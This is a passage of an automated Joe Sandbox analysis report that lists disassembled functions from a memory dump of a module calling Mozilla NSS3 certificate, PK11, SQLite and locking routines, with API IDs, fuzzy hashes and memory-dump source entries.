Part of subcall function 6CB69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DD1
Part of subcall function 6CB69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB69DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAADD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CAADD62
CERT_DestroyCertificate.NSS3(?), ref: 6CAADD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAADD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CAADD8F

Part of subcall function 6CAC06A0: TlsGetValue.KERNEL32 ref: 6CAC06C2
Part of subcall function 6CAC06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAC06D6
Part of subcall function 6CAC06A0: PR_Unlock.NSS3 ref: 6CAC06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CAADD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CAADDB7

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 58fe78e208775796886f9454e264f76cb5eea0c62533d6800c1d7e010fc2f813
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 0E21B1B6E021169BDF019FE4DD419DE77B4AF05308B180424EC54A7711F732E99ACBE1

Function 6CB35F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35F72

Part of subcall function 6CA9ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA9ED8F
Part of subcall function 6CA9ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA9ED9E
Part of subcall function 6CA9ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CA9EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35FCC
free.MOZGLUE(?,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35FF4
free.MOZGLUE(?,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB35FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB36019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CB3AADB,?,?,?,?,?,?,?,?,00000000,?,6CB380C1), ref: 6CB36036

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 21cef041f0dca8a743e87ad7f9414b8529597794423e8536d92c9941749b54dd
Instruction ID: 1640b5f244a2d19818b203699ec945d4cc4d3fc09f0baf0b88319909b123d077
Opcode Fuzzy Hash: 21cef041f0dca8a743e87ad7f9414b8529597794423e8536d92c9941749b54dd
Instruction Fuzzy Hash: F92147F1A04B409BEA219F75EC49BD377E8BB45708F100828E46E87741EB36F059CB92

Function 6CAA3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CB1460B,?,?), ref: 6CAA3CA9
EnterCriticalSection.KERNEL32(?), ref: 6CAA3CB9
PL_HashTableLookup.NSS3(?), ref: 6CAA3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CAA3CD6
PR_Unlock.NSS3 ref: 6CAA3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CAA3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAA3D03
PR_Unlock.NSS3 ref: 6CAA3D15

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 09ecb3b05fb162cfa55ff094ab7a8e7b62b0322ce1b295116c0f7697d87ff529
Instruction ID: a25b55d5ca9e07ab8f87b9f89db0f6bf9031fceb668ee1760b104d2f0a6daf9d
Opcode Fuzzy Hash: 09ecb3b05fb162cfa55ff094ab7a8e7b62b0322ce1b295116c0f7697d87ff529
Instruction Fuzzy Hash: 8C112C7AF01614ABDB111B74ED058AA7A78EB0225CB194534ED2C43B11F722D8DEC6D1

Function 6CAA9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC11C0: PR_NewLock.NSS3 ref: 6CAC1216

free.MOZGLUE(?), ref: 6CAA9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA9E4E
TlsGetValue.KERNEL32 ref: 6CAA9EA2

Part of subcall function 6CAB9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CAB9546

EnterCriticalSection.KERNEL32(?), ref: 6CAA9EB6
PR_Unlock.NSS3 ref: 6CAA9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CAA9F18

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: ae2b86f727ea767613383e141c1acf9330ea4dbf5532fc32cdefa8970f5131a7
Instruction ID: 2ae2ffd932c141b1c7e9ff8de35e4f2b0075f16206e1ab882b9f989252ed800d
Opcode Fuzzy Hash: ae2b86f727ea767613383e141c1acf9330ea4dbf5532fc32cdefa8970f5131a7
Instruction Fuzzy Hash: 65812B75A00701ABE7109F74DE40AAB77B9FF55248F084528EC5997B02FB32E8D9C7A1

Function 6CABDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAC1397,5B5F5EC0,?,?,6CABB1EE,2404110F,?,?), ref: 6CABAB3C
Part of subcall function 6CABAB10: free.MOZGLUE(D958E836,?,6CABB1EE,2404110F,?,?), ref: 6CABAB49
Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(5D5E6CCB), ref: 6CABAB5C
Part of subcall function 6CABAB10: free.MOZGLUE(5D5E6CBF), ref: 6CABAB63
Part of subcall function 6CABAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CABAB6F
Part of subcall function 6CABAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CABAB76

TlsGetValue.KERNEL32 ref: 6CABDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CABDD0E
PK11_IsFriendly.NSS3(?), ref: 6CABDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CABDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABDEA6
PR_Unlock.NSS3(?), ref: 6CABDF08

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: c208785dba5c1a9b7d211f59070c90d5d90ae992dabc18b5203acd81ab7e5204
Instruction ID: 973468be98aefe95a8bdf72a1366077e53a4d16259f2702a96294d8531aa1fbe
Opcode Fuzzy Hash: c208785dba5c1a9b7d211f59070c90d5d90ae992dabc18b5203acd81ab7e5204
Instruction Fuzzy Hash: E791E6B5E011059FEB00CF68D981BAABBB9FF44308F184029EC19AB745E731E995CB91

Function 6CA75FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CB5BB62,00000004,6CBC4CA4,?,?,00000000,?,?,6CA331DB), ref: 6CA760AB
sqlite3_config.NSS3(00000004,6CBC4CA4,6CB5BB62,00000004,6CBC4CA4,?,?,00000000,?,?,6CA331DB), ref: 6CA760EB
sqlite3_config.NSS3(00000012,6CBC4CC4,?,?,6CB5BB62,00000004,6CBC4CA4,?,?,00000000,?,?,6CA331DB), ref: 6CA76122

Strings

misuse, xrefs: 6CA7609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA76095
%s at line %d of [%.10s], xrefs: 6CA760A4

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: e9d81c457db2c11ef188365aaa97c1b4262e2ab15eb163bbe6e6d9ff0beaa6bc
Instruction ID: 8872e24d4a8201255fa320d605bf0dd3b37cc083f7c1b93d069d627d825023a7
Opcode Fuzzy Hash: e9d81c457db2c11ef188365aaa97c1b4262e2ab15eb163bbe6e6d9ff0beaa6bc
Instruction Fuzzy Hash: C6B14F74E0468ACFCB04CF6CD245AB9B7F4FB1E304B058159D519AB362E730AA85CFA5

Function 6CA24F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA24FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA251BB

Strings

misuse, xrefs: 6CA251AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA251A5
unable to delete/modify user-function due to active statements, xrefs: 6CA251DF
%s at line %d of [%.10s], xrefs: 6CA251B4

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: dc88f10ef28f9ad047d35c2892d05a753bece79fdccc49cb1a177cd8ff5fe769
Instruction ID: e324273803fab9cf2a44f79fca47f3ceeb6a4b06ccc3ecb5d11d1cbc9e836e08
Opcode Fuzzy Hash: dc88f10ef28f9ad047d35c2892d05a753bece79fdccc49cb1a177cd8ff5fe769
Instruction Fuzzy Hash: 7B71C075B082199FEB00CE15CD80B9AB7B5BF48308F0D4124FD199BA89D739EC90CBA1

Function 6CA92D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CA92D69

Strings

winUnmapfile2, xrefs: 6CA92F7F
winTruncate2, xrefs: 6CA92EF8
winUnmapfile1, xrefs: 6CA92F55
winSeekFile, xrefs: 6CA92E9C
winTruncate1, xrefs: 6CA92EBE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 38e1dae62d9f9d0e42cae267ff4e681ed2f57202c832a2adbd3525410bbbc923
Instruction ID: 089b7067f3f08bd0cbd782bdd1df5ba122b4635df6f461eb91157aad410702aa
Opcode Fuzzy Hash: 38e1dae62d9f9d0e42cae267ff4e681ed2f57202c832a2adbd3525410bbbc923
Instruction Fuzzy Hash: 2A619D75B002049FDB04CF68D885AAE7BF1FB49354F14822DE916AB790EB31AD46CB91

Function 6CB0FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB0FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB0FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB0FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB0FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB0FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CB0F165,6CBD219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB0FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CB0F165,?), ref: 6CB100A6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: ca7225d5b15ee33aa8e15a12603a90d6c8c2fe18293d5484a9a042363ad4751b
Instruction ID: a5e10611128c184123d7d264aa1cacdb9929f72e9e51420b5f454f3315356395
Opcode Fuzzy Hash: ca7225d5b15ee33aa8e15a12603a90d6c8c2fe18293d5484a9a042363ad4751b
Instruction Fuzzy Hash: 43511571F082999FDB108E58D8847AEB7B9FF49318F294129EC59A7B40D331AC10CBD1

Function 6CACDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CACDF37
EnterCriticalSection.KERNEL32(?), ref: 6CACDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CACE02B
PR_Unlock.NSS3(?), ref: 6CACE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CACE090
PR_Unlock.NSS3(?), ref: 6CACE0AF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 06f69eec8b5d3cc8f085ec6966e0f3a83ccc17a5f909b9f4fb74ebd6bda418b0
Instruction ID: 69ae8b8abb6727ffc625371dd4f7c25153685119e23746f38909bdf9be6608de
Opcode Fuzzy Hash: 06f69eec8b5d3cc8f085ec6966e0f3a83ccc17a5f909b9f4fb74ebd6bda418b0
Instruction Fuzzy Hash: C251AD31B80600CFEB209E28D846B5A73F5FF45318F244929E89A47B91D731E988CBD3

Function 6CACBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CACBD1E

Part of subcall function 6CAA2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CAA2F0A
Part of subcall function 6CAA2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAA2F1D

Part of subcall function 6CAE57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CAAB41E,00000000,00000000,?,00000000,?,6CAAB41E,00000000,00000000,00000001,?), ref: 6CAE57E0
Part of subcall function 6CAE57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAE5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CACBD8C

Part of subcall function 6CAFFAB0: free.MOZGLUE(?,-00000001,?,?,6CA9F673,00000000,00000000), ref: 6CAFFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CACBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CACBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACBE3A

Part of subcall function 6CAA3E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA3EC2
Part of subcall function 6CAA3E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CAA3ED6
Part of subcall function 6CAA3E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA3EEE
Part of subcall function 6CAA3E60: PR_CallOnce.NSS3(6CC02AA4,6CB012D0), ref: 6CAA3F02
Part of subcall function 6CAA3E60: PL_FreeArenaPool.NSS3 ref: 6CAA3F14
Part of subcall function 6CAA3E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAA3F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CACBE52

Part of subcall function 6CAA2E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CAA2CDA,?,00000000), ref: 6CAA2E1E
Part of subcall function 6CAA2E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CAA2E33
Part of subcall function 6CAA2E00: TlsGetValue.KERNEL32 ref: 6CAA2E4E
Part of subcall function 6CAA2E00: EnterCriticalSection.KERNEL32(?), ref: 6CAA2E5E
Part of subcall function 6CAA2E00: PL_HashTableLookup.NSS3(?), ref: 6CAA2E71
Part of subcall function 6CAA2E00: PL_HashTableRemove.NSS3(?), ref: 6CAA2E84
Part of subcall function 6CAA2E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CAA2E96
Part of subcall function 6CAA2E00: PR_Unlock.NSS3 ref: 6CAA2EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CACBE61

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 20160abf5f2db0741802eb9d18d39de91d0173276a589c07041a91f64a42b2a9
Instruction ID: 20fd8528a50f2cceaf0def7a419b65411a1a2bcfcf36e3cb0b5240d71d8bf183
Opcode Fuzzy Hash: 20160abf5f2db0741802eb9d18d39de91d0173276a589c07041a91f64a42b2a9
Instruction Fuzzy Hash: 8B4114B5B00210AFC710DF68ED80A6A77F4EF49718F044268F91997711E732EC99CB92

Function 6CAEAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CAEAB3E,?,?,?), ref: 6CAEAC35

Part of subcall function 6CACCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CACCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CAEAB3E,?,?,?), ref: 6CAEAC55

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CAEAB3E,?,?), ref: 6CAEAC70

Part of subcall function 6CACE300: TlsGetValue.KERNEL32 ref: 6CACE33C
Part of subcall function 6CACE300: EnterCriticalSection.KERNEL32(?), ref: 6CACE350
Part of subcall function 6CACE300: PR_Unlock.NSS3(?), ref: 6CACE5BC
Part of subcall function 6CACE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CACE5CA
Part of subcall function 6CACE300: TlsGetValue.KERNEL32 ref: 6CACE5F2
Part of subcall function 6CACE300: EnterCriticalSection.KERNEL32(?), ref: 6CACE606
